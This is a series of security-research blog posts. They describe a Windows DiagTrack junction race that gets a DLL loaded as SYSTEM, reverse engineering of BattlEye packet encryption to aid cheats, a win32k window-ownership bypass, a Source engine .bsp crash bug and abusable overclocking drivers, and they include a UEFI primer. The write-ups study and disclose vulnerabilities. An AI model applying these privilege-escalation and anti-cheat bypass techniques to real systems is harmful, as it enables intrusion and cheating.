  3. Start thread that in a loop switches %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap between being a mountpoint targeting %WINDIR%\temp\DiagTrack_alternativeTrace\extra and \RPC Control in NT object namespace.
  4. Start snapshot trace with %WINDIR%\temp\DiagTrack_alternativeTrace\extra\indirections\snap as outputDirectory

Upon execution, 100 files will get renamed. If none of them becomes phoneinfo.dll in system32, it will repeat until success.

I then added a check for the existence of %WINDIR%\system32\phoneinfo.dll in the thread that switches the junction point. The increased delay between switching appeared to increase the chance of one of the renames creating phoneinfo.dll. Testing shows the loop ends by the end of the first 100 iterations.

Upon detection of %WINDIR%\system32\phoneinfo.dll, a blank error report is submitted to Windows Error Reporting service, configured to be submitted out of proc, causing wermgmr.exe to load the just created phoneinfo.dll in SYSTEM security context.

The payload is a DLL that upon DLL_PROCESS_ATTACH will check for SeImpersonatePrivilege and, if enabled, cmd.exe will get spawned on the current active desktop. Without the privileged check, additional command prompts would spawn since phoneinfo.dll is also attempted to be loaded by the process that initiates the error reporting.

In addition, a message is shown using WTSSendMessage so we get an indicator of success even if the command prompt cannot be spawned in the correct session/desktop.

The red color is because my command prompts auto execute echo test> C:\windows:stream && color 4E; that makes all UAC elevated command prompts’ background color RED as an indicator to me.

Though my example on the repository contains private libraries, it may still be beneficial to get a general overview of how it works.

Cracking BattlEye packet encryption

Recently, Battlestate Games, the developers of Escape From Tarkov, hired BattlEye to implement encryption on networked packets so that cheaters can’t capture these packets, parse them and use them for their advantage in the form of radar cheats, or otherwise. Today we’ll go into detail about how we broke their encryption in a few hours.

Analysis of EFT

We started first by analyzing Escape From Tarkov itself. The game uses Unity Engine, which uses C#, an intermediate langauge, which means you can very easily view the source code behind the game by opening it in tools like ILDasm or dnSpy. Our tool of choice for this analysis was dnSpy.

Unity Engine, if not under the IL2CPP option, generates game files and places them under GAME_NAME_Data\Managed, in this case it’s EscapeFromTarkov_Data\Managed. This folder contains all the dependencies that the engine uses, including the file that contains the game’s code which is Assembly-CSharp.dll, we loaded this file in dnSpy then searched for the string encryption, which landed us here:

This segment is in a class called EFT.ChannelCombined, which is the class that handles networking as you can tell by the arguments passed to it:

Right clicking on channelCombined.bool_2, which is the variable they log as an indicator for whether encryption was enabled or not, then clicking Analyze, shows us that it’s referenced by 2 methods:

The second of which is the one we’re currently in, so by double clicking on the first one, it lands on this:

Voila! There’s our call into BEClient.EncryptPacket, when you click on that method it’ll take you to the BEClient class, which we can then dissect and find a method called DecryptServerPacket, this method calls into a function in BEClient_x64.dll called pfnDecryptServerPacket that will decrypt the data into a user-allocated buffer and write the size of the decrypted buffer into a pointer supplied by the caller.

pfnDecryptServerPacket is not exported by BattlEye, nor is it calculated by EFT, it’s actually supplied by BattlEye’s initializer once called by the game. We managed to calculate the RVA (Relative Virtual Address) by loading BattlEye into a process of our own, and replicating how the game initializes it.

The code for this program is available here.

Analysis of BattlEye

As we’ve deduced from the last section, EFT calls into BattlEye to do all its cryptography needs. So now it’s a matter of reversing native code rather than IL, which is significantly harder.

BattlEye uses a protector called VMProtect, which virtualizes and mutates segments specified by the developer. To properly reverse a binary protected by this obfuscator, you’ll need to unpack it.

Unpacking is as simple as dumping the image at runtime; we did this by loading it into a local process then using Scylla to dump it’s memory to disk.

Opening this file in IDA, then going to the DecryptServerPacket routine will lead us to a function that looks like this:

This is what’s called a vmentry, which pushes a vmkey on the stack then calls into a vminit which is the handler for the virtual machine.

Here is the tricky part: the instructions in this function are only understandable by the program itself due to them being “virtualized” by VMProtect.

Luckily for us, fellow Secret Club member can1357 made a tool that completely breaks this protection, which you can find at VTIL.

Figuring the algorithm

The file produced by VTIL reduced the function from 12195 instructions down to 265, which simplified the project massively. Some VMProtect routines were present in the disassembly, but these are easily recognized and can be ignored, the encryption begins from here:

Equivalent in pseudo-C:

uint32_t flag_check = *(uint32_t*)(image_base + 0x4f8ac);

if (flag_check != 0x1b)
	goto 0x20e445;
else
	goto 0x20e52b;

VTIL uses its own instruction set, I translated this to psuedo-C to simplify it further.

We analyze this routine by going into 0x20e445, which is a jump to 0x1a0a4a, at the very start of this function they move sr12 which is a copy of rcx (the first argument on the default x64 calling convention), and store it on the stack at [rsp+0x68], and the xor key at [rsp+0x58].

This routine then jumps to 0x1196fd, which is:

Equivalent in pseudo-C:

uint32_t xor_key_1 = *(uint32_t*)(packet_data + 3) ^ xor_key;
(void(*)(uint8_t*, size_t, uint32_t))(0x3dccb7)(packet_data, packet_len, xor_key_1);

Note that rsi is rcx, and sr47 is a copy of rdx. Since this is x64, they are calling 0x3dccb7 with arguments in this order: (rcx, rdx, r8). Lucky for us vxcallq in VTIL means call into function, pause virtual exectuion then return into virtual machine, so 0x3dccb7 is not a virtualized function!

Going into that function in IDA and pressing F5 will bring up pseudo-code generated by the decompiler:

This code looks incomprehensible with some random inlined assembly that has no meaning at all. Once we nop these instructions out, change some var types, then hit F5 again the code starts to look much better:

This function decrypts the packet in 4-byte blocks non-contiguously starting from the 8th byte using a rolling XOR key.

Once we continue looking at the assembly we figure that it calls into another routine here:

Equivalent in x64 assembly:

mov t225, dword ptr [rsi+0x3]
mov t231, byte ptr [rbx]
add t231, 0xff ; uhoh, overflow

; the following is psuedo
mov [$flags], t231 u< rbx:8

not t231

movsx t230, t231
mov [$flags+6], t230 == 0
mov [$flags+7], t230 < 0

movsx t234, rbx
mov [$flags+11], t234 < 0
mov t236, t234 < 1
mov t235, [$flags+11] != t236

and [$flags+11], t235

mov rdx, sr46 ; sr46=rdx
mov r9, r8

sbb eax, eax ; this will result in the CF (carry flag) being written to EAX

mov r8, t225
mov t244, rax
and t244, 0x11 ; the value of t244 will be determined by the sbb from above, it'll be either -1 or 0 
shr r8, t244 ; if the value of this shift is a 0, that means nothing will happen to the data, otherwise it'll shift it to the right by 0x11

mov rcx, rsi
mov [rsp+0x20], r9
mov [rsp+0x28], [rsp+0x68]

call 0x3dce60

Before we continue dissecting the function it calls, we have to come to the conclusion that the shift is meaningless due to the carry flag not being set, resulting in a 0 return value from the sbb instruction, which means we’re on the wrong path.

If we look for references to the first routine 0x1196fd, we’ll see that it’s actually referenced again, this time with a different key!

That means the first key was actually a red herring, and the second key is most likely the correct one. Nice one Bastian!

Now that we’ve figured out the real xor key and the arguments to 0x3dce60, which are in the order: (rcx, rdx, r8, r9, rsp+0x20, rsp+0x28).

We go to that function in IDA, hit F5 and it’s very readable:

We know the order of the arguments, their type and their meaning, the only thing left is to translate this to actual code, which we’ve done nicely and wrapped into a gist available here.

Synopsis

This encryption wasn’t the hardest to reverse engineer, and our efforts were certainly noticed by BattlEye; after 3 days, the encryption was changed to a TLS-like model, where RSA is used to securely exchange AES keys. This makes MITM without reading process memory by all intents and purposes infeasible.

Introduction to UEFI: Part 1

26 May 2020 at 23:00

Hello, and welcome to our first article on the site! Today we will be diving into UEFI. We are aiming to provide beginners a brief first look at a few topics, including:

  1. What is UEFI?
  2. Why develop UEFI software?
  3. UEFI boot phases
  4. Getting started with developing UEFI software

What is UEFI?

Unified Extensible Firmware Interface (UEFI) is an interface that acts as the “middle-man” between the operating system and the platform firmware during the start-up process of the system. It is the successor to the BIOS and provides us with a modern alternative to the restrictive system that preceded it. The UEFI specification allows for many new features including:

  • Graphical User Interface (GUI) with mouse support
  • Support for GPT drives (including 2TB or greater drives, and more than 4 primary partitions)
  • Faster booting (depending on OS support)
  • Simplified ACPI access for power management features
  • Simplified software development compared to the arcane BIOS

As you can see, there are many compelling reasons for using UEFI over the legacy BIOS nowadays.

Why develop UEFI software?

There are many reasons as to why one would want to develop UEFI software, and today we will be mentioning a few of those reasons to hopefully inspire some of you to attempt to develop or further your knowledge in this subject.

1) Control over the boot process

One very big use case for UEFI is a boot manager such as GRUB. GRUB (GRand Unified Bootloader) is a multi-boot loader that allows a user to select the operating system they wish to boot into, whilst handling the process of selecting which OS or kernel needs to be loaded into memory. It will then transfer control to the respective OS. This is a very helpful tool, and makes use of UEFI to remove the need for manual interaction in the loading of alternative OS’s.

2) Modification of OS kernel initialization

Sometimes one may want to redirect certain OS kernel initialization procedures or even fully prevent them from running. This is not possible to do with a boot-time driver. Why is this the case? Well, a large part of kernel initialization happens before any drivers are loaded, so any modifications will not be possible after this point in the presence of Kernel Patch Protection (PatchGuard). Another reason is the issue of Driver Signature Enforcement (DSE): Microsoft requires that loaded drivers on Windows must be signed with a valid kernel mode signing certificate, unless test signing mode is enabled.

An example of a UEFI project that modifies Windows kernel initialization procedures is EfiGuard. This UEFI driver patches certain parts of the Windows boot loader and kernel at boot time, and can effectively disable PatchGuard and optionally DSE.

3) Develop low level system knowledge

Another reason for developing UEFI software could be to increase your understanding of the system at a low level. Being able to follow the initialization process of the system allows for a much more in-depth look at how operating systems themselves work. Additionally, the ability to build OS independent drivers, as well as work with a sophisticated toolset giving you full control over a system is something that may be of interest to many people.

UEFI boot phases

UEFI has six main boot phases, which are all critical in the initialization process of the platform. The combined phases are referred to as the Platform Initialization or PI. Hopefully the brief descriptions of each stage below will give you a basic understanding of this process. Our series will focus primarily on the DXE and RT phases, as these are probably the two main areas of interest for people getting started with UEFI.

Security (SEC)

This phase is the primary stage of the UEFI boot process, and will generally be used to: initialize a temporary memory store, act as the root of trust in the system and provide information to the Pre-EFI core phase. This root of trust is a mechanism that ensures any code that is executed in the PI is cryptographically validated (digitally signed), creating a “secure boot” environment.

Pre-EFI Initialization (PEI)

This is the second stage of the boot process and involves using only the CPU’s current resources to dispatch Pre-EFI Initialization Modules (PEIMs). These are used to perform initialization of specific boot-critical operations such as memory initialization, whilst also allowing control to pass to the Driver Execution Environment (DXE).

Driver Execution Environment (DXE)

The DXE phase is where the majority of the system initialization occurs. In the PEI stage, the memory required for the DXE to operate is allocated and initialized, and upon control being passed to the DXE, the DXE Dispatcher is then invoked. The dispatcher will perform the loading and execution of hardware drivers, runtime services, and any boot services required for the operating system to start.

Boot Device Selection (BDS)

Upon completion of the DXE Dispatcher executing all DXE drivers, control is passed to the BDS. This stage is responsible for initializing console devices and any remaining devices that are required. The selected boot entry is then loaded and executed in preparation for the Transient System Load (TSL).

Transient System Load (TSL)

In this phase, the PI process is now directly between the boot selection and the expected hand-off to the main operating system phase. Here, an application such as the UEFI shell may be invoked, or (more commonly) a boot loader will run in order to prepare the final OS environment. The boot loader is usually responsible for terminating the UEFI Boot Services via the ExitBootServices() call. However, it is also possible for the OS itself to do this, such as the Linux kernel with CONFIG_EFI_STUB.

Runtime (RT)

The final phase is the runtime one. Here is where the final handoff to the OS occurs. The UEFI compatible OS now takes over the system. The UEFI runtime services remain available for the OS to use, such as for querying and writing variables from NVRAM.

The SMM (System Management Mode) exists separately from the runtime phase and may also be entered during this phase when an SMI is dispatched. We will not be covering the SMM in this introduction.

Getting started with developing UEFI software

In this section we will be providing you with a list of the most essential tools to help you begin your development journey with UEFI. When it comes to the question of “where to begin?”, there aren’t many resources easily accessible, so here is a shortlist of the development tools we recommend:

- EDK2

First and foremost is the EDK2 project, which is described as “a modern, feature-rich, cross-platform firmware development environment for the UEFI and PI specifications from [www.uefi.org.]” The EDK2 project is developed and maintained (together with community volunteers) by many of the same parties that contribute to the UEFI specification.

This is extremely helpful as EDK2 is guaranteed to contain the latest UEFI protocols (assuming you are using the master branch). In addition to this, there are countless high-quality projects for you to use as a guide. One example is the Open Virtual Machine Firmware (OVMF). This is a project that is aimed at providing UEFI support for virtual machines and it is very well documented.

One major downside to EDK2 is the process of setting up the build environment for the first time - it is a long and arduous process, and even with their Getting started with EDK2 guide to make it as simple as possible, it can still be confusing for newcomers.

- VisualUefi

The VisualUefi project is aimed at allowing EDK2 development inside Visual Studio. We would recommend you to begin your development by using the build tools from EDK2 command line over this project, to allow you to become comfortable with the platform.

Furthermore, VisualUefi offers headers and libraries that are a subset of the complete EDK2 libraries, and so you may find that not everything you require is easily accessible. It is, however, much easier to set up in comparison to EDK2, and is therefore often favored by avid Visual Studio users.

- Debugging

In regards to debugging, there are a few options available to you, each with their pros and cons. These will be listed below, and it is up to you which you favor the most. In part 2 of this series we will be showing you how to debug an example driver, so until then you may want to install all of these (or none!) to help you make an informed decision:

  1. QEMU - a multiplatform emulator (though best on Linux) that provides the best debugging facilities due to being an emulator rather than a VM. It is quite complex to set up, and concerning its counterparts, it is also quite slow.
  2. VirtualBox - a good multiplatform solution, with the exception of it suffering from memory loss due to pretty lackluster non-volatile RAM (NVRAM) emulation.
  3. VMware - offers good performance with correctly working NVRAM emulation. If the guest and host are both Windows, it works very well with WinDbg for debugging the TSL and RT phases.

Final words

In this article we have covered a couple of different introductory topics to help you get a basic understanding of what UEFI is. We would expect you to hopefully have some extra questions regarding this topic, and we are more than happy to answer them for you. Part 2 of this series will be more technical, however it will be explained thoroughly to the best of our abilities to make it as simple to follow as possible. We will be providing code for a simple DXE driver built with EDK2, and will show examples of basic console input and output, writing to a serial port, and debugging the driver with QEMU.

Thank you very much for reading this far, and we look forward to continuing this series in the coming weeks!

Abusing DComposition to render on external windows

By: yousif
12 May 2020 at 23:00

In 2012, Microsoft introduced “DirectComposition”, a technology that helps improve performance for bitmap drawings & compositions tremendously, the way it works is that it utilizes the graphics hardware to compose & render objects, which means that it’ll run independently, aside from the main UI thread.

It can therefore be deduced that there must be a layer of interaction, or a method to apply the composition onto the desired window, or target, abusing this layer of interaction is the main target of today’s article.

The layer of interaction that DirectCompositions use, are objects called “targets” & “visuals”, every IDCompositionTarget will be created by a respective API function that depends on a window handle, and every target will depend on a IDCompositionVisual which contains the visual content represented on the screen.

If you think that you can easily just create a window, then compose on-top of another window from a non-owning process, then you’re wrong. This will cause an error, and the composition won’t be created.

Reversal

Opening up win32kfull, which is the kernel-mode component for DWM, GDI & other windows features then searching for “DComposition” will yield multiple results:

The one we’re interested in is NtUserCreateDCompositionHwndTarget, according to it’s prototype: __int64 (HWND a1, int a2, _QWORD *a3), we can induce that this is simply just IDCompositionDevice::CreateTargetForHwnd, and the parameters are: (HWND hwnd, BOOL topmost, IDCompositionTarget** target).

At the very start of this function there’s a test that checks whether you can create a target for this composition or not:

last_status = TestWindowForCompositionTarget(window_handle, top_most);

This is a simplified form of that function:

NTSTATUS TestWindowForCompositionTarget(HWND window_handle, BOOL top_most)
{	
	tagWND* window_instance = ValidateHwnd(window_handle);
	
	if (!window_instance 
		|| !window_instance->thread_info)
		return STATUS_INVALID_PARAMETER;
		
	// some checks here to verify that DCompositions are supported, and available
	
	PEPROCESS calling_process = IoGetCurrentProcess();
	PEPROCESS owning_process = PsGetThreadProcess(window_instance->thread_info->owning_thread); // tagWnd*->tagTHREADINFO*->KTHREAD*
	
	if (calling_process != owning_process)
		return STATUS_ACCESS_DENIED;
	
	CHwndTargetProp target_properties{};
	
	if (CWindowProp::GetProp<CHwndTargetProp>(window_instance, &target_properties))
	{
		bool unk_error = false;
		
		if (top_most)
			unk_error = !(target_properties.top_most_handle == nullptr);
		else
			unk_error = !(target_properties.active_bg_handle == nullptr);
		
		if (unk_error)
			return (NTSTATUS)0x803e0006; // unique error code, i don't know what it's supposed to resemble
	}
	
	return STATUS_SUCCESS;
}

The check causing failures is if (calling_process != owning_process), this compares the caller’s process to the window’s owner process, and if this check fails they return a STATUS_ACCESS_DENIED error.

They retrieve the window’s owner process by calling ValidateHwnd, which is a function used everywhere in win32k:

This function will return a pointer to a struct of type tagWND, then access a member of type tagTHREADINFO at +0x10 (window_instance->thread_info), then access the actual thread pointer at +0x0 (thread_info->owning_thread).

One way to circumvent these checks is to swap the owning thread of the process’ window to our window temporarily, compose our target on it then swap it back very quickly, which is what the PoC is based on.

Proof Of Concept

I’ve made a PoC, that’ll hijack a window by it’s class name, then render a rectangle at it’s center. you can access the code here.

Source Engine Memory Corruption via LUMP_PAKFILE

By: impost0r
5 May 2020 at 23:00

A month or so ago I dropped a Source engine zero-day on Twitter without much explanation of what it does. After determining that it’s unfortunately not exploitable, we’ll be exploring it, and the mess that is Valve’s Source Engine.

History

Valve’s Source Engine was released initially on June 2004, with the first game utilizing the engine being Counter-Strike: Source, which was released itself on November 1, 2004 - 15 or so years ago. Despite being touted as a “complete rewrite” Source still inherits code from GoldSrc and it’s parent, the Quake Engine. Alongside the possibility of grandfathering in bugs from GoldSrc and Quake (GoldSrc itself a victim of this), Valve’s security model for the engine is… non-existent. Valve not yet being the powerhouse they are today, but we’re left with numerous stupid fucking mistakes, dude, including designing your own memory allocator (or rather, making a wrapper around malloc.).

Of note - it’s relatively common for games to develop their own allocator, but from a security perspective it’s still not the greatest.

The Bug

The byte at offset A47B98 in the .bsp file I released and the following three bytes (\x90\x90\x90\x90), parsed as UInt32, controls how much memory is allocated as the .bsp is being loaded, namely in CS:GO (though also affecting CS:S, TF2, and L4D2). That’s the short of it.

To understand more, we’re going to have to delve deeper. Recently the source code for CS:GO circa 2017’s Operation Hydra was released - this will be our main tool.

Let’s start with WinDBG. csgo.exe loaded with the arguments -safe -novid -nosound +map exploit.bsp, we hit our first chance exception at “Host_NewGame”.

---- Host_NewGame ----
(311c.4ab0): Break instruction exception - code 80000003 (first chance)
*** WARNING: Unable to verify checksum for C:\Users\triaz\Desktop\game\bin\tier0.dll
eax=00000001 ebx=00000000 ecx=7b324750 edx=00000000 esi=90909090 edi=7b324750
eip=7b2dd35c esp=012fcd68 ebp=012fce6c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c:
7b2dd35c cc              int     3

On the register $esi we can see the four responsible bytes, and if we peek at the stack pointer –

Full stack trace removed for succinctness.

              
00 012fce6c 7b2dac51 90909090 90909090 012fd0c0 tier0!CStdMemAlloc::SetCRTAllocFailed+0x1c [cstrike15_src\tier0\memstd.cpp @ 2880] 
01 (Inline) -------- -------- -------- -------- tier0!CStdMemAlloc::InternalAlloc+0x12c [cstrike15_src\tier0\memstd.cpp @ 2043] 
02 012fce84 77643546 00000000 00000000 00000000 tier0!CStdMemAlloc::Alloc+0x131 [cstrike15_src\tier0\memstd.cpp @ 2237] 
03 (Inline) -------- -------- -------- -------- filesystem_stdio!IMemAlloc::IndirectAlloc+0x8 [cstrike15_src\public\tier0\memalloc.h @ 135] 
04 (Inline) -------- -------- -------- -------- filesystem_stdio!MemAlloc_Alloc+0xd [cstrike15_src\public\tier0\memalloc.h @ 258] 
05 (Inline) -------- -------- -------- -------- filesystem_stdio!CUtlMemory<unsigned char,int>::Init+0x44 [cstrike15_src\public\tier1\utlmemory.h @ 502] 
06 012fce98 7762c6ee 00000000 90909090 00000000 filesystem_stdio!CUtlBuffer::CUtlBuffer+0x66 [cstrike15_src\tier1\utlbuffer.cpp @ 201]

Or, in a more succinct form -

0:000> dds esp
012fcd68  90909090

The bytes of $esi are directly on the stack pointer (duh). A wonderful start. Keep in mind that module - filesystem_stdio — it’ll be important later. If we continue debugging —

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

And there we see it - the memory allocator has tried to allocate 0x90909090, as UInt32. Now while I simply used HxD to validate this, the following Python 2.7 one-liner should also function.

print int('0x90909090', 0)

(For Python 3, you’ll have to encapsulate everything from int onward in that line in another set of parentheses. RTFM.)

Which will return 2425393296, the value Source’s spaghetti code tried to allocate. (It seems, internally, Python’s int handles integers much the same way as ctypes.c_uint32 - for simplicity’s sake, we used int, but you can easily import ctypes and replicate the finding. Might want to do it with 2.7, as 3 handles some things oddly with characters, bytes, etc.)

So let’s delve a bit deeper, shall we? We would be using macOS for the next part, love it or hate it, as everyone who writes cross-platform code for the platform (and Darwin in general) seems to forget that stripping binaries is a thing - we don’t have symbols for NT, so macOS should be a viable substitute - but hey, we have the damn source code, so we can do this on Windows.

Minimization

One important thing to do before we go fully into exploitation is minimize the bug. The bug is a derivative of one found with a wrapper around zzuf, that was re-found with CERT’s BFF tool. If we look at the differences between our original map (cs_assault) and ours, we can see the differences are numerous.

Diff between files

Minimization was done manually in this case, using BSPInfo and extracting and comparing the lumps. As expected, the key error was in lump 40 - LUMP_PAKFILE. This lump is essentially a large .zip file. We can use 010 Editor’s ZIP file template to examine it.

Symbols and Source (Code)

The behavior between the Steam release and the leaked source will differ significantly.

No bug will function in a completely identical way across platforms. Assuming your goal is to weaponize this, or even get the maximum payout from Valve on H1, your main target should be Win32 - though other platforms are a viable substitute. Linux has some great tooling available and Valve regularly forgets strip is a thing on macOS (so do many other developers).

We can look at the stack trace provided by WinDBG to ascertain what’s going on.

WinDBG Stack Trace

Starting from frame 8, we’ll walk through what’s happening.

The first line of each snippet will denote where WinDBG decides the problem is.

		if ( pf->Prepare( packfile->filelen, packfile->fileofs ) )
		{
			int nIndex;
			if ( addType == PATH_ADD_TO_TAIL )
			{
				nIndex = m_SearchPaths.AddToTail();	
			}
			else
			{
				nIndex = m_SearchPaths.AddToHead();	
			}

			CSearchPath *sp = &m_SearchPaths[ nIndex ];

			sp->SetPackFile( pf );
			sp->m_storeId = g_iNextSearchPathID++;
			sp->SetPath( g_PathIDTable.AddString( newPath ) );
			sp->m_pPathIDInfo = FindOrAddPathIDInfo( g_PathIDTable.AddString( pPathID ), -1 );

			if ( IsDvdDevPathString( newPath ) )
			{
				sp->m_bIsDvdDevPath = true;
			}

			pf->SetPath( sp->GetPath() );
			pf->m_lPackFileTime = GetFileTime( newPath );

			Trace_FClose( pf->m_hPackFileHandleFS );
			pf->m_hPackFileHandleFS = NULL;

			//pf->m_PackFileID = m_FileTracker2.NotePackFileOpened( pPath, pPathID, packfile->filelen );
			m_ZipFiles.AddToTail( pf );
		}
		else
		{
			delete pf;
		}
	}
}

It’s worth noting that you’re reading this correctly - LUMP_PAKFILE is simply an embedded ZIP file. There’s nothing too much of consequence here - just pointing out m_ZipFiles does indeed refer to the familiar archival format.

Frame 7 is where we start to see what’s going on.

	zipDirBuff.EnsureCapacity( rec.centralDirectorySize );
	zipDirBuff.ActivateByteSwapping( IsX360() || IsPS3() );
	ReadFromPack( -1, zipDirBuff.Base(), -1, rec.centralDirectorySize, rec.startOfCentralDirOffset );
	zipDirBuff.SeekPut( CUtlBuffer::SEEK_HEAD, rec.centralDirectorySize );

If one is to open LUMP_PAKFILE in 010 Editor and parse the file as a ZIP file, you’ll see the following.

010 Editor viewing LUMP_PAKFILE as Zipfile

elDirectorySize is our rec.centralDirectorySize, in this case. Skipping forward a frame, we can see the following.

Commented out lines highlight lines of interest.

CUtlBuffer::CUtlBuffer( int growSize, int initSize, int nFlags ) : 
	m_Error(0)
{
	MEM_ALLOC_CREDIT();
	m_Memory.Init( growSize, initSize );
	m_Get = 0;
	m_Put = 0;
	m_nTab = 0;
	m_nOffset = 0;
	m_Flags = nFlags;
	if ( (initSize != 0) && !IsReadOnly() )
	{
		m_nMaxPut = -1;
		AddNullTermination( m_Put );
	}
	else
	{
		m_nMaxPut = 0;
	}
	...

followed by the next frame,

template< class T, class I >
void CUtlMemory<T,I>::Init( int nGrowSize /*= 0*/, int nInitSize /*= 0*/ )
{
	Purge();

	m_nGrowSize = nGrowSize;
	m_nAllocationCount = nInitSize;
	ValidateGrowSize();
	Assert( nGrowSize >= 0 );
	if (m_nAllocationCount)
	{
		UTLMEMORY_TRACK_ALLOC();
		MEM_ALLOC_CREDIT_CLASS();
		m_pMemory = (T*)malloc( m_nAllocationCount * sizeof(T) );
	}
}

and finally,

inline void *MemAlloc_Alloc( size_t nSize )
{ 
	return g_pMemAlloc->IndirectAlloc( nSize );
}

where nSize is the value we control, or $esi. Keep in mind, this is all before the actual segfault and $eip corruption. Skipping ahead to that –

***** OUT OF MEMORY! attempted allocation size: 2425393296 ****
(311c.4ab0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000032 ebx=03128f00 ecx=012fd0c0 edx=00000001 esi=012fd0c0 edi=00000000
eip=00000032 esp=012fce7c ebp=012fce88 iopl=0         nv up ei ng nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010292
00000032 ??              ???

We’re brought to the same familiar fault. Of note is that $eax and $eip are the same value, and consistent throughout runs. If we look at the stack trace WinDBG provides, we see much of the same.

WinDBG Stack Trace

Picking apart the locals from CZipPackFile::Prepare, we can see the values on $eip and $eax repeated a few times. Namely, the tuple m_PutOverflowFunc.

m_PutOverflowFunc

So we’re able to corrupt this variable and as such, control $eax and $eip - but not to any useful extent, unfortunately. These values more or less seem arbitrary based on game version and map data. What we have, essentially - is a malloc with the value of nSize (0x90909090) with full control over the variable nSize. However, it doesn’t check if it returns a valid pointer – so the game just segfaults as we’re attempting to allocate 2 GB of memory (and returning zero.) In the end, we have a novel denial of service that does result in “control” of the instruction pointer - though not to an extent that we can pop a shell, calc, or do anything fun with it.

Thanks to mev for phrasing this better than I could.

I’d like to thank mev, another one of our members, for assisting with this writeup, alongside paracord and vmcall.

Why anti-cheats block overclocking tools

By: Daax
28 April 2020 at 23:00

Overview

This is a brief informational piece for the readers that don’t come from a deep technical background regarding cheats/anti-cheats/drivers or related. It’s come to our attention that many people are wondering why certain anti-cheats block or log when a player has overclocking/tuning software open. I’ll start off by explaining why these types of software require drivers, then show a few examples of why they’re dangerous and provide information about the dangerous recycling of code that makes the end-user vulnerable. Recycling code out of convenience at the risk of your end-users is a lazy decision that can result in damage to your system. In this case, the code is recycled from sites like kernelmode.info, OSR Online, and so on. The drivers that are used by this software are particularly problematic and would be the first targets I’d look for if I was looking to exploit a large population of people - gamers and tech enthusiasts would be a good crowd because of the tools presented below. This is by no means an exhaustive list, I’m only addressing a few drivers that are/have been exploited in cheating communities. There are dozens if not hundreds in the wild. Let’s cover the reasoning for a driver with these types of software.

Notice: We are not affiliated with game publishers or anti-cheat vendors, paid or otherwise.

Driver Requirements

Hardware monitoring/overclocking tools have been rising in popularity in the last half-decade with the growth in professional gaming, and technical requirements to run certain games. These tools query various system components like GPU, CPU, thermal sensors, and so on, however, this information isn’t easily acquired by a user. For example, to query the on-die digital temperature sensor to get temperature data for the CPU an application would need to perform a read on a model-specific register. These model-specific registers and the intrinsics to read/write them are only available when operating at a higher privilege level such as ring-0 (where drivers operate.) A model-specific register (MSR) is a type of register that is part of the x86 instruction set. As the name suggests, some registers are present on certain processors while others are not - making them model-specific. They’re primarily used for storing platform specific information, and CPU feature information; they can also be used in performance monitoring or thermal sensor monitoring. Intel decided to provide two instructions in the x86 ISA that allowed for privileged software (operating system or otherwise) to read or write model-specific registers. The instructions are rdmsr and wrmsr, and allow a privileged actor to modify or query the state of one of these registers. There is an extensive list of MSRs that are available for Intel and AMD processors that can be found in their respective SDM/APM. The significance of this is that much of the information in these MSRs should not be modified by any tasks privileged or not. There is rarely a need to do so even when writing device drivers.

Many drivers for hardware monitoring software allow an unprivileged task (in terms of privilege level, excluding Admin requirements) to read/write arbitrary MSRs. How does that work? Well, the drivers must have a mode of communication available so that they can read privileged data from an unprivileged application, and these drivers provide that interface. It’s important to reiterate that the majority of hardware monitoring/overclocking drivers that come packaged with the client application have much more, albeit unnecessary, functionality available through this communication protocol. The client application, let’s say the CPUZ desktop application, uses a Windows API function named DeviceIoControl. In the simplest sense, CPUZ calls DeviceIoControl with an IO control code that is known to the developers to perform a read of an MSR like the on-die digital temperature sensor. This isn’t an inherently dangerous thing. What’s problematic is that these drivers implement additional functionality that is outside the scope of the software and expose it through this same interface - like writing to MSRs, or physical memory.

So, if only the developers know the codes then why is it an issue? Reverse engineering is a fruitful endeavor. All an attacker has to do is get a copy of the driver, load it into their desired disassembler like IDA Pro, and look for the IOCTL handler. This is an IOCTL code in the CPUZ driver which is used to send 2 bytes out 2 different I/O ports - 0xB2 (broadcast SMI) and 0x84 (output port 4). This is interesting because you can force SMI using port 0xB2 which allows entry to System Management Mode. However, this doesn’t really accomplish anything significant it’s just interesting to note. The SMI port is primarily used for debugging.

Now, let’s take a look at a driver, shipped from Intel, that allows every operation an attacker could dream of.

Undisclosed Intel driver

This driver was packaged with a diagnostic tool created by Intel. It allows for many different operations, the most problematic is the ability for an unprivileged application to write directly to a memory page in physical memory.

Note: Unprivileged application meaning an application running at a low privilege level (ring-3), despite the requirement of Admin rights to carry out the DeviceIoControl request.

Among other things, it allows direct port IO (which is supposed to be a privileged operation) which can be abused to cause all sorts of issues on a target machine. From a malicious actor, it could be used to perform a denial-of-service by writing to an IO port that can be used to hard reset the processor.

As a diagnostic tool from Intel, the operations make some sense. However, this is a signed driver associated with a public tool and in the wrong hands could be abused to wreak havoc, in this case, on a game. The ability to read and write physical memory means that an attacker can access a game’s memory without having to do traditional things like open a handle to the process and use Windows APIs to assist in reading the virtual memory. It’s a bit of work for the attacker, but that’s never stopped any motivated individual. Well, I don’t use this diagnostic tool - so who cares? Take a look at the next two tools that use vulnerable drivers.

HWMonitor

I’ve seen it mentioned before around different communities for overclocking, general diagnostics, and for people that don’t have enough fans in their case to prevent them from overheating. This tool carries a driver that is also quite problematic with the functionality provided. The screenshot below shows a different method of reading a portion of physical memory via MmMapIoSpace. This would be useful for an attacker to use against a game under the guise of being a trusted hardware monitoring tool. What about writing to those model-specific registers? This tool has no business writing to any MSRs yet exposes a control case where the right code allows a user to write to any model-specific register. Here’s two images of different IOCTL blocks in HWMonitor.

